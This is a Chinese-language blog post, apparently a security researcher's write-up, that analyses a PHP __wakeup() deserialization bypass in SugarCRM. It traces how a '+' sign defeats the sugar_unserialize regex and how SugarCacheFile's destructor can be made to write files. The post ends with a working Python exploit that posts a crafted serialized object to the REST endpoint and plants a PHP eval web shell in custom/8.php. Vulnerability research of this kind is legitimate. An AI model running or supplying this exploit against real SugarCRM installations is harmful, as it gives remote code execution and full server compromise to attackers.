magic函数__wakeup()引发的漏洞

前几天爆出来的这个cms的洞,今晚上研究了下,毕竟对于magic函数自己一直觉得还蛮有意思的XD

在之前的文章我也写过,各类的魔幻函数:

__wakeup()

代码示例:
<?php
class A{
function __wakeup(){
echo 'Hello';
}    
}
$c = new A();
$v=serialize($c);
$d=unserialize($v);
?>

php对于这个漏洞的文章: 传送门

大意是指,当我们反序列化一个对象时,如果它的属性发生了变化,就会导致wakeup函数中的return 0不会执行,那么如果__wakeup()中存在一些重要的语句,就会导致不会被执行,本地测试下:

<?php  
class Veneno{  
private $a = array();
function __destruct()
    {
        echo "123\n";
    }
    function __wakeup()
    {
    echo "hello\n";
    }
}
//$b = new Veneno(array('0' => Ven,'1' => Hello,'2' => World));
//file_put_contents('1.txt', serialize($b));
$c = unserialize(file_get_contents('1.txt'));
?>

流程如下:

我们会发现,当我们修改了属性个数时,就会导致__wakeup()中的语句不被执行XD。

来看一个cms-SugarCRM例子,自己研究了下,参考了 传送门

首先我们全局搜索下我们可以控制的变量在那些文件中,一共搜到了4585处,貌似有点太多了...换个思路,我们搜索下unserialize这种关键词,看看有没有相应的函数,貌似还是有点多,再搜索下__wakeup()函数XD,我们发现SugarCRM这个系统对于__wakeup()以及__destruct()的定义:

我们会发现,__wakeup()对于传入对象的所有属性都变为NULL,而__destruct()则调用了sugar_file_put_contents函数,全局搜索下,在include/utils/sugar_file_utils.php中发现:

发现并没有做什么限制,也就是file_put_contents的类型无所谓咯XD

返回去看__destruct(),我们发现$data的值是serialize($this->_localStore),但其实并没有什么影响,因为既然我们可以传入一个数组,这样$this->依然是有效的,那么接下来我们需要的东西就是一个能传参的变量,并且这个变量还被反序列化了。

这个时候,在include/utils/sugar_file_utils.php中,我发现SugarCRM对大部分原生的php函数都做了重新的定义,而直接搜索

unserialize的位置比较多,于是就搜了下sugar_unserialize,发现service/core/REST/SugarRestSerialize.php中存在该函数并且存在$_REQUEST变量,看一下sugar_unserialize()函数:

function sugar_unserialize($value)
{
    preg_match('/[oc]:\d+:/i', $value, $matches);
    if (count($matches)) {
        return false;
    }
    return unserialize($value);
}

比较好理解,正则匹配到O:这种Object时就会return false,但是正则没有写严,而如果我们在长度前添加一个+号就可以绕过,unserialize不受影响,OK,到这里已经满足了最后getshell的大部分流程,来理一下思路:

$_REQUEST['rest_data']=>sugar_unserialize=>+号绕过正则
    =>$this->_localStore=>__wakeup()=>sugar_file_put_contents

OK,那么接下来就是如何去getshell,然后就是找啊找调用的地方,喜闻乐见QAQ:

最后来一发脚本就好了:

import requests
url = 'http://192.168.182.129/super/service/v4/rest.php'
a = requests.session()
h = {  
    'method': 'login',
    'input_type': 'Serialize',
    'rest_data': 'O:+14:"SugarCacheFile":33:{S:17:"\\00*\\00_cacheFileName";s:15:"../custom/8.php";S:16:"\\00*\\00_cacheChanged";b:1;S:14:"\\00*\\00_localStore";s:45:"a:1:{i:0;s:27:"<?php eval($_POST[123]); ?>";}";}',
}
c = a.post(url,data=h)

XD:

我来评几句
登录后评论

已发表评论数()

相关站点

+订阅
热门文章